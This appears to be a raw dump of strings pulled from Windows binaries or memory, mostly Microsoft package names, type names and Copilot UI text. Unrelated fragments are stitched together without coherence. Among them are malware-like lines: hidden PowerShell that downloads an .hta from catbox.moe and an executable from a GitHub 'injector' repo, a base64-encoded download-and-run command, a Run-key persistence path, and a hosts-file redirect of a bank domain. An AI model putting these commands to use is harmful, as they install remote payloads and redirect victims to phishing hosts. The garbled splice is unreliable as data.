We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
Microsoft.Windows.Update.Aggregators
C:\__w\1\s\packages\Microsoft.Windows.Wil.Internal.0.3.30\inc\wil\opensource\wil\win32_helpers.h
{"SourceEventInfo":{"SourceEventFullName":"Microsoft.Windows.Update.Undocked.Brain.MaxRecursionReached","SourceEventProviderGuid":"b6acef34-fab6-5909-6b6b-b1c2cZ
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIControl2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl2@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIControl3@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl3@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIControl4@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl4@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIControl5@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl5@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIControl7@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl7@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement2@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement3@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement4@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement6@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement6@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement7@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIUIElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement2@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
 Windows
WindowsDeleteString
WindowsGetStringRawBuffer
GetSystemWindowsDirectoryW
GetWindowsDirectoryW
WindowsCre
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
7s\system32\msvcrt2.dll
%s\system32\sysmgr.exeSoftware\Microsoft\Windows\CurrentVersion\Run
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentemergency
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentfocus
default$windows.data.donotdisturb.quiethourssettings|windows.data.donotdisturb.quiethourssettings
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentfullscreen
c:/program files/go/src/internal/syscall/windows/registry/key.goc
\software\microsoft\windows\currentversion\runc:\log01\explorernoderef.txtdownload.txtupfolder.txtshirane
!Winlogonhook
"Windows"
lc:\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\w*\s*2\m*h?a.*'https://files.catbox.moe/akuy4l.hta'
isWinlogon
isWinlogon
Microsoft.Windows
_c:\n1well:.well2thesetheoursayman.bat\.thesetheoursayman.bat$awffbb..\..\well\thesetheoursayman.batc:\windows\system32\shell32.dll
44^windows.appExtension
windows.forms.messagebox]::show('windowsversionnotsupported!pleaseupdatesystem.','error','ok','error')}"exit))goto:nrml):nrmlset"filepath=c:\windows\system32\tes.exe"powershell-command"invoke-webrequest-uri'https://github.com/ek4o/injector/raw/main/tes.exe
?*link.arguments="-windowstylehidden"link.save
Microsoft-Windows-CoreSystem-CredSSP-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft::Windows::RDS::AuthRedirection
Microsoft.Windows.Security.Sspicli
c:\'2windows\system32\cmd.exec:\windows\system32a/v/d/c
sif(-not(test-path("$env:systemroot\system32\sc.exe"))){
 Windows 10 
?startAsyncRead@QWindowsPipeReader@@QEAAXXZ
WindowsThumbnailUpdater::UpdateThumbnailCache
WindowsThumbnailUpdater::NotifyRequestCompleted
F:\dbs\sh\odct\0211_070530\cmd\1g\client\onedrive\Product\SyncEngine\ThumbnailProvider\WindowsThumbnailUpdater.cpp
gle.com:/windows/system32/drivers/etc/hosts
www.banesco.com>>%windir%\system32\drivers\etc\hostsecho173.0.62.
Microsoft.Windows.Security.CloudAp
Microsoft.Windows.Security.PasswordlessPolicy
Microsoft.Windows.TlgAggregateInternal
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
Windows.Shell.StartMenu
Winlogon
winlogon
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\module.g.cpp
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedProviderErrors
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedResourceResponseFactory
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedResourceRequestedArgs
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedManager2
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedAnnouncementInvokedTarget
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedProvider
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedDisabledArgs
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedProviderMessage
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedManager3
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedAnalyticsInfoReportedArgs
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedProviderInfo
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedResourceResponse
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CICustomQueryParametersUpdateOptions
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedManager
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedResourceProvider
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedManagerStatics
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedResourceRequest
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedProviderEnabledArgs
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedErrorInfoReportedArgs
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedProviderAnalytics
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CICustomQueryParametersRequestedArgs
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedProviderDisabledArgs
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CICustomQueryParametersUpdateOptionsFactory
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedEnabledArgs
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedMessageReceivedArgs
__x_ABI_CMicrosoft_CWindows_CWidgets_CNotifications_CIWidgetAnnouncementInvokedArgs
__x_ABI_CMicrosoft_CWindows_CWidgets_CNotifications_CIWidgetAnnouncementFactory
__x_ABI_CMicrosoft_CWindows_CWidgets_CNotifications_CIFeedAnnouncement
__x_ABI_CMicrosoft_CWindows_CWidgets_CNotifications_CIFeedAnnouncementFactory
__x_ABI_CMicrosoft_CWindows_CWidgets_CNotifications_CIFeedAnnouncementInvokedArgs
__x_ABI_CMicrosoft_CWindows_CWidgets_CNotifications_CIWidgetAnnouncement
__x_ABI_CMicrosoft_CWindows_CWidgets_CHosts_CIWidgetCatalog
__x_ABI_CMicrosoft_CWindows_CWidgets_CHosts_CIWidgetDefinitionUpdatedEventArgs
__x_ABI_CMicrosoft_CWindows_CWidgets_CHosts_CIWidgetThemeResources
__FIAsyncOperation_1_Microsoft__CWindows__CWidgets__CHosts__CWidget
__x_ABI_CMicrosoft_CWindows_CWidgets_CHosts_CIWidget3
__x_ABI_CMicrosoft_CWindows_CWidgets_CHosts_CIWidgetDefinition3
__FIAsyncOperationCompletedHandler_1_Microsoft__CWindows__CWidgets__CProviders__CWidgetResourceResponse
__FITypedEventHandler_2_Microsoft__CWindows__CWidgets__CHosts__CWidget_Microsoft
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.MediaPlayer322
Microsoft.Windows.Explorer
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.Windows.ProfExt
Microsoft.Windows.HostActivityManager.Client
Microsoft.Windows.ProcessStateManager.Refcount
Microsoft.Windows.Security.SBServicingCore
Microsoft.Windows.BootFileServicingAI
Microsoft.Windows.BootFileServicing
Microsoft.Windows.BootFileServicing
(MicrosoftWindows.Client.CBS_cw5n1h2txyewy!ActionRuntime
3^MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.ActionUI.Common
6MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DesktopStickerEditor
DisableWindowsRecoveryEnvironment
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
Microsoft-Windows-PeerDist-HostedServer
Microsoft-Windows-PeerDist-x
Microsoft-Windows-DeviceManagement-OmaDmCli
WINDOWS11
clientcore\multimedia\audiocore\server\audiosrv\windowspolicymanager\playbackmanager.cpp
clientcore\multimedia\audiocore\server\audiosrv\windowspolicymanager\playbackmanagerrpc.cpp
clientcore\multimedia\audiocore\server\audiosrv\windowspolicymanager\streamprestartcontext.cpp
clientcore\multimedia\audiocore\server\audiosrv\windowspolicymanager\virtualaudioinfo.cpp
WindowsGetStringLen
powershell.exe&-noninteractive-windowstylehidden-noprofileinvoke-expression([system.text.encoding]::utf8.getstring([system.convert]::frombase64string('jhbhdgggpsakzw52olrftvagkyanxefuesboyw1llmv4zsc7ichozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2xpzw50ks5eb3dubg9hzezpbguoj2h0dha6ly90cnvllmdoyw5hc21hcmtldc5jb20vbwvkawevbnnpci5legunlcakcgf0ack7ihn0yxj0icrwyxroow=='))
Microsoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
><f>exec("c:\windows\syswow64\re
WindowsDeleteString
WindowsGetStringRawBuffer
Microsoft.OutlookForWindows_8wekyb3d8bbweJ/
Microsoft.WindowsAppRuntime.1.6_8wekyb3d8bbwe7'
Microsoft.WindowsAppRuntime.1.5_8wekyb3d8bbwe3%
Windows.PrintDialog_cw5n1h2txyewy2/
windows.immersivecontrolpanel_cw5n1h2txyewy1$
Windows.CBSPreview_cw5n1h2txyewy00
MicrosoftWindows.UndockedDevKit_cw5n1h2txyewy.0
MicrosoftWindows.Client.Photon_cw5n1h2txyewy-.
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy,1
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy+.
MicrosoftWindows.Client.Core_cw5n1h2txyewy*0
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy)-
MicrosoftWindows.Client.CBS_cw5n1h2txyewy(2
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy'2
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy&2
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy%2
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy$2
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy#.
Microsoft.WindowsAppRuntime.CBS.1.8_8wekyb3d8bbwe!5
Microsoft.WindowsAppRuntime.CBS.1.6_8wekyb3d8bbwe 3
Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy
Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy
Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy
Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy
Microsoft.Windows.ParentalControls_cw5n1h2txyewy
Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy
Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy
Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy
Microsoft.Windows.CapturePicker_cw5n1h2txyewy
Microsoft.Windows.AugLoop.CBS_8wekyb3d8bbwe
Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy
Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy
Microsoft.WindowsAppRuntime.1.8_8wekyb3d8bbwej1
Microsoft.WindowsAppRuntime.1.7_8wekyb3d8bbwei
MicrosoftWindows.CrossDevice_cw5n1h2txyewyg7
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewyf4
Microsoft.WindowsAppRuntime.1.5_5001.311.2039.0_x64__8wekyb3d8bbwe
WindowsAppRuntime.1.5Microsoft CorporationMicrosoft Windows App Runtime 1.5 (5001.311.2039.0 x64 )WindowsAppRuntime.png
windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy
Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy
Windows.PrintDialo
dMicrosoft.WindowsAppRuntime.CBS.1.8_8000.694.2228.100_x64__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.CBS.1.8Microsoft CorporationMicrosoft Windows App Runtime CBS (8000.694.2228.100 x64)WindowsAppRuntime.png
dMicrosoft.WindowsAppRuntime.CBS.1.6_6000.700.2257.100_x64__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.CBS.1.6Microsoft CorporationMicrosoft Windows App Runtime CBS (6000.700.2257.100 x64)WindowsAppRuntime.png
Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy
ms-resource:ProductPkgDisplayNameMicrosoft WindowsAssets\StoreLogo.png
MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy
ms-resource:ProductPkgDisplayNameMicrosoft WindowsAssets\StoreLogo.png
MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy
ms-resource:ProductPkgDisplayNameMicrosoft WindowsAssets\StoreLogo.png
MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy
ms-resource:AIXHost/ClickToDo/AppDisplayNameMicrosoft WindowsAIXHost\Assets\ClickToDo\AppList.png
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
ms-resource:ProductPkgDisplayNameMicrosoft WindowsAssets\StoreLogo.png
MicrosoftWindows.59379618.InpApp_1000.26100.7824.0_x64__cw5n1h2txyewy
ms-resource:ProductPkgDisplayNameMicrosoft WindowsAssets\StoreLogo.png
MicrosoftWindows.59337145.Livtop_1000.26100.7824.0_x64__cw5n1h2txyewy
ms-resource:ProductPkgDisplayNameMicrosoft WindowsAssets\StoreLogo.png
MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy
ms-resource:ProductPkgDisplayNameMicrosoft WindowsAssets\StoreLogo.png
MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewy
ms-resource:ProductPkgDisplayNameMicrosoft WindowsAssets\StoreLogo.png
MicrosoftWindows.57242383.Tasbar_1000.26100.7824.0_x64__cw5n1h2txyewy
ms-resource:ProductPkgDisplayNameMicrosoft WindowsAssets\StoreLogo.png
Microsoft.WindowsNotepad_11.2510.14.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsNotepad_11.2510.14.0_neutral_split.scale-100_8wekyb3d8bbwe
Microsoft.WindowsNotepad_11.2510.14.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x64__8wekyb3d8bbwe
WindowsAppRuntime.1.8Microsoft CorporationMicrosoft Windows App Runtime 1.8 (8000.770.947.0 x64 )WindowsAppRuntime.png
	MicrosoftWindows.Client.WebExperience_525.31002.150.9_neutral_~_cw5n1h2txyewy
,Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe
Outlook for WindowsMicrosoft CorporationAssets\StoreLogo.png
MicrosoftWindows.CrossDevice_0.25062.28.0_neutral_split.scale-125_cw5n1h2txyewy
ms-resource://MicrosoftWindows.CrossDevice/CrossDeviceComponentStub/Resources/PackageNameMicrosoft WindowsAssets\AppTiles\StoreLogo.png
MicrosoftWindows.CrossDevice_0.25062.28.0_neutral_split.scale-100_cw5n1h2txyewy
ms-resource://MicrosoftWindows.CrossDevice/CrossDeviceComponentStub/Resources/PackageNameMicrosoft WindowsAssets\AppTiles\StoreLogo.png
MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy
ms-resource://MicrosoftWindows.CrossDevice/CrossDeviceComponentStub/Resources/PackageNameMicrosoft WindowsAssets\AppTiles\StoreLogo.png
MicrosoftWindows.CrossDevice_1.25062.28.0_neutral_~_cw5n1h2txyewy
	MicrosoftWindows.Client.WebExperience_525.31002.150.9_x64__cw5n1h2txyewy
Windows Web Experience PackMicrosoft WindowsAssets\StoreLogo.png
Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy2M
windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy1F
Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy0J
MicrosoftWindows.UndockedDevKit_10.0.26100.1_neutral_neutral_cw5n1h2txyewy.G
MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy-E
MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy,G
MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy+E
MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy*I
MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy)E
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy(K
MicrosoftWindows.59379618.InpApp_1000.26100.7824.0_x64__cw5n1h2txyewy'K
MicrosoftWindows.59337145.Livtop_1000.26100.7824.0_x64__cw5n1h2txyewy&K
MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy%K
MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewy$K
MicrosoftWindows.57242383.Tasbar_1000.26100.7824.0_x64__cw5n1h2txyewy#R
Microsoft.WindowsAppRuntime.CBS.1.8_8000.694.2228.100_x64__8wekyb3d8bbwe!N
Microsoft.WindowsAppRuntime.CBS.1.6_6000.700.2257.100_x64__8wekyb3d8bbwe R
Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.SecureAssessmentBrowser_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.PrintQueueActionCenter_1.0.2.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.PinningConfirmationDialog_1000.25140.1001.0_neutral__cw5n1h2txyewy
Microsoft.Windows.PeopleExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.ParentalControls_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewy
Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy
Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe
Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.CapturePicker_10.0.19580.1000_neutral__cw5n1h2txyewy
Microsoft.Windows.AugLoop.CBS_1.1126.2131.0_x64__8wekyb3d8bbwe
Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
Microsoft.WindowsAppRuntime.CBS.1.6_6000.700.2257.100_x64__8wekyb3d8bbwe 
Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
Microsoft.WindowsTerminal_3001.18.10301.0_neutral_~_8wekyb3d8bbwe
Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.
Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe
Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewy
Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy
Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe
Microsoft.Windows.DevHome_0.1701.597.0_neutral_~_8wekyb3d8bbwe
Microsoft.Windows.DevHome_0.1700.597.0_x64__8wekyb3d8bbwe
Microsoft.Windows.DevHome_0.1700.597.0_neutral_split.scale-125_8wekyb3d8bbwe
Microsoft.Windows.DevHome_0.1700.597.0_neutral_split.scale-100_8wekyb3d8bbwe
Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.CapturePicker_10.0.19580.1000_neutral__cw5n1h2txyewy
Microsoft.Windows.AugLoop.CBS_1.1126.2131.0_x64__8wekyb3d8bbwe
Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x86__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x64__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x86__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x64__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x64__8wekyb3d8bbwe
Microsoft.WindowsSoundRecorder_2021.2510.0.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsNotepad_11.2501.31.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsCalculator_2021.2502.2.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsCalculator_11.2502.2.0_x64__8wekyb3d8bbwe
Microsoft.WindowsCalculator_11.2502.2.0_neutral_split.scale-125_8wekyb3d8bbwe
Microsoft.WindowsCalculator_11.2502.2.0_neutral_split.scale-100_8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.CBS.1.8_8000.694.2228.100_x64__8wekyb3d8bbwe!N
Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x86__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.6_6000.401.2352.0_x64__8wekyb3d8bbwe7
Microsoft.WindowsAppRuntime.1.5_5001.311.2039.0_x64__8wekyb3d8bbwe3D
Microsoft.WindowsAlarms_2021.2510.4.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsAlarms_1.1.61.0_x64__8wekyb3d8bbwe
Microsoft.WindowsAlarms_1.1.61.0_neutral_split.scale-125_8wekyb3d8bbwe
Microsoft.WindowsAlarms_1.1.61.0_neutral_split.scale-100_8wekyb3d8bbwe
Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.SecureAssessmentBrowser_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.PrintQueueActionCenter_1.0.2.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.PinningConfirmationDialog_1000.25140.1001.0_neutral__cw5n1h2txyewy
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_neutral_~_8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_neutral_split.scale-125_8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_neutral_split.scale-100_8wekyb3d8bbwe
Microsoft.Windows.PeopleExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
